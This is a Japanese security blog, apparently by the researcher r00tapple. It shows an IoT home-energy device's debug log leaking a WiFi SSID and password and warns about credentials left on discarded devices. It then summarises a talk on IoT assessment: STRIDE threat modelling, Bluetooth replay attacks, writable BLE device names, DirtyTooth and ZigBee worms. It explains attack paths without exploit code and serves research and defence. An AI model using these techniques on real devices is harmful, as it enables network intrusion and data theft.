[wscan] Channel: 5 Type: Passive
[wscan] Channel: 6 Type: Passive
[wscan] Channel: 7 Type: Passive
[wscan] Channel: 8 Type: Passive
[wscan] Channel: 9 Type: Active
[wscan] Channel: 10 Type: Passive
[wscan] Channel: 11 Type: Active
[wscan] Channel: 12 Type: Passive
[wscan] Channel: 13 Type: Passive
[wscan] Channel: 14 Type: Passive
app_wifi_connect Timer out.
ssid r00tapple psk wifi-password-is-password need broad 0
type 3
ssid r00tapple psk wifi-password-is-password psklen 8, type 5 special 0
[af] Error: network_mgr: failed to remove network
[af] Warn: network_mgr: valid network already loaded
app_network_status_set to status. 6.....
[af] Warn: app_ctrl: Ignored event 6 in state 12
[wlcm] got wifi message: 8 0 0x00000000
[wlcm] got event: scan result
[wlcm] rescan limit exceeded, giving up
[wlcm] Warn: connecting to "default" failed
[af] Warn: network_mgr: WLAN: network not found
[wlcm] got wifi message: 32 0 0x00000000
[wlcm] starting connection to network: 0
[wlcm] initiating scan for network "default"
[wscan] Channel: 1 Type: Active
[wscan] Channel: 2 Type: Passive
[wscan] Channel: 3 Type: Passive
[wscan] Channel: 4 Type: Active
[wscan] Channel: 5 Type: Passive
[wscan] Channel: 6 Type: Passive
[wscan] Channel: 7 Type: Active
[wscan] Channel: 8 Type: Active
[wscan] Channel: 9 Type: Active
[wscan] Channel: 10 Type: Passive
[wscan] Channel: 11 Type: Active
[wscan] Channel: 12 Type: Passive
[wscan] Channel: 13 Type: Passive
[wscan] Channel: 14 Type: Passive
[wlcm] got wifi message: 8 0 0x00000000
[wlcm] got event: scan result
[wlcm] 11D enabled, re-scanning
[wlcm] initiating scan for network "default"
[wscan] Channel: 1 Type: Active
[wscan] Channel: 2 Type: Passive
[wscan] Channel: 3 Type: Passive
[wscan] Channel: 4 Type: Active
[wscan] Channel: 5 Type: Passive
[wscan] Channel: 6 Type: Passive
[wscan] Channel: 7 Type: Active
[wscan] Channel: 8 Type: Active
[wscan] Channel: 9 Type: Active
[wscan] Channel: 10 Type: Passive
[wscan] Channel: 11 Type: Active
[wscan] Channel: 12 Type: Passive
[wscan] Channel: 13 Type: Passive
[wscan] Channel: 14 Type: Passive
[wlcm] got wifi message: 8 0 0x00000000
[wlcm] got event: scan result
[wlcm] 11D enabled, re-scanning
[wlcm] initiating scan for network "default"
[wscan] Channel: 1 Type: Active
[wscan] Channel: 2 Type: Passive
[wscan] Channel: 3 Type: Passive
[wscan] Channel: 4 Type: Active
[wscan] Channel: 5 Type: Passive
[wscan] Channel: 6 Type: Passive
[wscan] Channel: 7 Type: Active
[wscan] Channel: 8 Type: Active
[wscan] Channel: 9 Type: Active
[wscan] Channel: 10 Type: Passive
[wscan] Channel: 11 Type: Active
[wscan] Channel: 12 Type: Passive
[wscan] Channel: 13 Type: Passive

                                    ===========表示された文字列===========

 

HEMSから出力された情報の一部に、WiFiSSID(r00tapple)とパスワード(wifi-password-is-password)が出力されていることがわかります。

今回の場合、接続していたWiFiがHEMS周辺に無い場合(HEMSが接続していない)でもデバッグ情報に表示されていました。

 

                                              ====該当箇所====

app_wifi_connect Timer out.
ssid r00tapple psk wifi-password-is-password need broad 0
type 3
ssid r00tapple psk wifi-password-is-password psklen 8, type 5 special 0
[af] Error: network_mgr: failed to remove network
[af] Warn: network_mgr: valid network already loaded

                                               ===============

 

さて、IoTの流れに伴い会社のWiFiに接続しているIoTも増えていることでしょう。

そのIoTが故障し廃棄する際に、一般家電のように廃棄するリスクも検討する必要性がありそうです。

今回はWiFiのパスワードを抽出できたため、下記のような流れで社内ネットワークを侵害される可能性もあります。

f:id:r00tapple:20170628102345p:plain

(図)廃棄したIoTから漏洩した資格情報で社内ネットワークを侵害

 

IoTが普及し故障などで廃棄されていく未来で、廃棄機器を利用した資格情報の漏洩は問題視されて来るかと思います。 

 

[+]関連する黒林檎ドキュメント

黒林檎のお部屋-IoTハッキング編-

http://ruffnex.net/kuroringo/pdf/IoTHack.pdf

IoTセキュリティ対策 診断・解析入門(※社員ではありません。)

IoTセキュリティ対策 診断・解析入門 | SECURITY BLOG by Ierae Security, Inc.

 

 

『 IoT診断入門 』について

黒林檎です。

 

総関西サイバーセキュリティLT大会(第3回)で話していたIoT診断入門について、話忘れた内容をブログに記述していきます。

総関西サイバーセキュリティLT大会(第3回) - connpass

 

 

www.slideshare.net

 

上記のslideshareに、発表資料を載せています。

f:id:r00tapple:20170619210339p:plain

 

microsoftがIoTセキュリティアーキテクチャの資料で、セキュリティ上の脅威の評価である『脅威モデル STRIDE』を提示しています。

 

STRIDEに関しては、以下の資料を参照してください。

IoT のセキュリティ アーキテクチャ | Microsoft Docs

 

まず、ペネトレーションにしても難しい所はIoT機器のセキュリティ診断の見積もり作業であると思います。

このSTRIDEのモデル化を行う事で、攻撃経路の選定と診断箇所を洗い出す事ができコストも明確になるかと思います。

 

f:id:r00tapple:20170619210347p:plain

アーキテクチャ図を作成した事で、対象のIoT機器の構成は見えてきました。

攻撃経路を決めるファーストステップに移れます。

攻撃経路の決定を行いますが、書くコンポーネントでどのような問題が生じるかアーキテクチャ図で考えてみましょう。

 

f:id:r00tapple:20170619210411p:plain

 

今回は、「IoTデバイス」 「無線通信」 「Web/Mobile/Cloud」で分類しました。

この作業で、各コンポーネントで生じる問題を洗い出す事が出来ました。

 

IoTデバイスであれば、シェルに不正に入られる可能性やファームウェアの抽出による鍵の盗難などの危険性があがります。

 

また、無線通信であればリプレイ攻撃により「電子錠であれば開錠」など不正にシステムを動作させる事ができるかもしれません。

 

それでは、最後にそれらをエクセル表形式に直し攻撃経路と攻撃のゴールを決めます。

※実際は、攻撃に関してももっと詳細な記述ができると思いますが、サンプルケースな資料なので細かい箇所は割愛しました。

 

 

f:id:r00tapple:20170619210419p:plain

 

対象機器の攻撃経路を一覧化します。

電子錠であれば、criticalな脆弱性は不正開錠であるため、対象のIoT機器の特製に合わせた診断をする事が可能になります。

また、不正開錠に関係がある攻撃経路を明確化しておく事で診断の時間を圧倒的に短縮化する事ができます。

 

f:id:r00tapple:20170619210438p:plain

 

単純にBluetoothのPoint-to-Pointデバイスを例に、リプレイアタックなどに脆弱であるIoTシステムは脆弱であるというお話です。

 

f:id:r00tapple:20170619210449p:plain

 

では、リプレイアタックなどに脆弱でないIoTとはなんでしょうか?

1つの例として、正規ユーザーがペアリング済みでコネクションが成立している際に、攻撃者が中間者攻撃を行うためIoT機器にコネクションを張った際にIoT機器が正規ユーザーのコネクションを切断してしまう事でリプレイアタックを防ぐ事が出来ます。

 

 

f:id:r00tapple:20170619210453p:plain

 

これは、先ほどの説明をスライド文で記述しているものです。

 

f:id:r00tapple:20170619210455p:plain

実際に幾つかのIoT機器を覗いてみました。

それぞれPoint-to-Pointで動作するBluetoothのIoT機器です。

 

 

f:id:r00tapple:20170619210459p:plain

 

1つ面白かった機器があります。

体温計で、iOSAndroidで通信経路を変更するシステムです。

この機器のBluetoothは、同時コネクションは1つのみで単一接続なもので一般的なBLE攻撃に対してセキュアであり、NFCにしても改ざんなどのリスクが低い作り方をしていました。

 

 

f:id:r00tapple:20170619214148p:plain

 

診断の観点で3つの機器をみた結果、それぞれ同じような対策を取られておりセキュアに作られていました。

 

1つの問題点をここであげると、3つの機器はそれぞれコンシューマが違います。

コンシューマが違うという事は、機器も目的も変わります。

・体温計 - 同時使用はありえない、使用人数は一人

・電子錠 - 複数のユーザーがいていいが、開け閉めの処理は複数ユーザーが同時に一斉ノーで数回する事は考えられにくい

・コーヒーメーカー - 需要と供給がかなり高い機器である。

 

それぞれの機器は同じ様な仕組みであっても、顧客層は違います。

なので、その顧客層に合わせた機能を攻撃する事で初期に決めた目的を達成する事ができる場合もあります。

 

 

f:id:r00tapple:20170619214935p:plain

 

IoT用のOWASP Top 10があります。

https://www.owasp.org/images/7/71/Internet_of_Things_Top_Ten_2014-OWASP.pdf

これを元に、練習として診断報告書を書いてみましたがIoTであれば以下のような問題点が考えられます。

 

 

f:id:r00tapple:20170619214947p:plain

 

外注した製品がmaliciousであるというパターンです。

納品されたサーバーがボットネットのC&Cであるといったパターンです。

私がみたケースでは、脆弱なサーバープログラムをクラッカーが攻撃しC&Cサーバーにしたのか、外注したメーカーが初期から仕込んだのかは不明ですが、これは興味深い話です。

 

 

f:id:r00tapple:20170619214941p:plain

 

これは、IoTあるあるだと思います。

不正に電子錠などを開けても報告書でどう記述すれば良いかわからないという問題です。

 

また、外注されている製品であった場合報告と回収でかなりの時間を取られる可能性があります。

 

 

f:id:r00tapple:20170620095019p:plain

 

IoTのセキュリティ担保では、OTA(Over-The-Update)が重要になります。

OTAにより、脆弱性がIoT機器に見つかっても回収することができるわけですが、このOTAをすべて信用していいか?という問題点もあります。

悪意ある攻撃者がIoT機器のファームウェアを改ざん出来た場合、OTAを無効化しファームウェアをアップデートできなくすることが可能です。
この問題点の解決のためには、IoT機器を監視する仕組みが必要になりますが、IoT機器に対するSoC(セキュリティ オペレーション センター)などが整備されていないなどの問題点があります。

 

f:id:r00tapple:20170619215620p:plain

 

IoT機器の権限確認です。

これはAndroidなどがIoT機器にペアリングする際に表示されるデバイス名で、「WRITE権限」が不可されているので、不正に名前を変更する事ができます。

 

f:id:r00tapple:20170619215746p:plain

 

実際に不正に書き込んだ値がペアリング時に表示されている事がわかります。

過去に同様の問題でCVE(CVE-2016-6549)が割り当てられていました。

※NRFというアプリを使用していますが、iPhone版ではなくAndroid版を使用する事を強くおすすめします。(表示される情報量がAndroid版の方が多い)

 

 

f:id:r00tapple:20170619220025p:plain

 

変わったBluetoothの攻撃として、DirtyToothという攻撃の紹介です。

iPhoneAndroidなどがA2DPプロファイル(オーディオ機器)と認識してペアリングしたものが、実は攻撃者の攻撃で攻撃者がペアリング成立後にPBAPプロファイルに強制的に変更する事で電話帳や通話履歴など盗み取るという攻撃です。

 

www.elladodelmal.com

 

 

 

f:id:r00tapple:20170619220354p:plain

 

これはZigBee電球にワームを感染させ連鎖的に乗っ取るというお話でした。

http://iotworm.eyalro.net/

メッシュネットワークに対する攻撃では、危険性として一番わかりやすいお話でした。

また、適切な周波数で光を点滅することで「てんかん発作」を引き起こせるというのは

興味があるお話です。

 

 

f:id:r00tapple:20170619220406p:plain

 

Bluetoothもメッシュネットワークのような仕組みを発表しました。

既知の攻撃(スニッフィングやリプレイアタック)に対してセキュアであるという記事もありますが、これに関していえば脆弱性の本質が変わるというお話なのかな?と個人的に思います。

例えば、先ほどのZigbeeの連鎖反応攻撃のような脆弱性は生まれるのか?など思います。

 

[+]最後に

関西で面白いコミュニティを作りたいと考えています。

我こそはという方のお声お待ちしております。

 

f:id:r00tapple:20170619221252p:plain

f:id:r00tapple:20170619221257p:plain

 

[追記]

IoTの議題点

・IoTのネットワークを監視するSoCの必要性

クラウドファンディングなどで出来るIoT製品のセキュリティ

 

twitter.com

 

 

 

 

ハッカーの学校 ハッキング実験室

@r00tapple